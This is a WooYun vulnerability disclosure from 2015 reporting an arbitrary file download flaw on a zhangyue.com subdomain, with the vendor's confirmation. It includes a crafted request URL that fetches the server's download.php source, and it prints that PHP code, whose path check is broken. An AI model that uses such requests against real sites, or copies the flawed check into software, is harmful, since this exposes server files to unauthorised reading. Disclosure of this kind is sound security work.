当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103261

漏洞标题:掌阅某分站任意文件下载一枚

相关厂商:zhangyue.com

漏洞作者: sco4x0

提交时间:2015-03-24 10:19

修复时间:2015-05-08 10:44

公开时间:2015-05-08 10:44

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 细节已通知厂商并且等待厂商处理中
2015-03-24: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向核心白帽子及相关领域专家公开
2015-04-13: 细节向普通白帽子公开
2015-04-23: 细节向实习白帽子公开
2015-05-08: 细节向公众公开

简要描述:

掌阅脑残粉,再来一发

详细说明:

在http://360.zhangyue.com/zybook/u/p/book.php?key=4B4%27#id4 这个地方
一不小心点了一本书,然后就发现直接下载了。查看源码发现下载方法在Js中:

function download(bookName,book) {
url = 'http://360.zhangyue.com/zybook/iReader/u/s/download/'+bookName+"?f=iReader&name=" + decodeURI(book) + "&360ext=apk";
window.location.href = url;
//window.location.href = "http://360.zhangyue.com/zybook/iReader/u/p/download.php?f=iReader&name=" + decodeURI(bookName) + "&360ext=apk" + "&download_file=" + bookName + ".apk";
}


直觉告诉我,应该有任意文件下载。。。
构造一条url,下载download.php
http://360.zhangyue.com/zybook/iReader/u/p/download.php?f=iReader&name=download.php&360ext=&download_file=download.php
果然下载下来了,看看download.php的源码:

<?php
ini_set('display_errors',0);
$bookName = $_GET['fn'];
if(!$bookName){
exit(0);
}
//禁止非法下载
if(strpos('/', $bookName) !== false){
exit(0);
}
header("Content-type: application/octet-stream");
$bookName = "《{$bookName}》.apk";
//处理中文文件名
if (strpos($_SERVER["HTTP_USER_AGENT"],"MSIE") === false){
header('Content-Disposition: attachment; filename="' . ($bookName) . '"');
}else{
header('Content-Disposition: attachment; filename="' . rawurlencode($bookName) . '"');
}
$file = iconv("UTF-8", "GB2312",$bookName);
//让Xsendfile发送文件
header("X-Sendfile: {$file}");


再下载一个看看

QQ图片20150323170758.png

漏洞证明:

QQ图片20150323170758.png

修复方案:

版权声明:转载请注明来源 sco4x0@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-24 10:43

厂商回复:

非常感谢对掌阅安全的关注,已通知研发同事修复处理。

最新状态:

暂无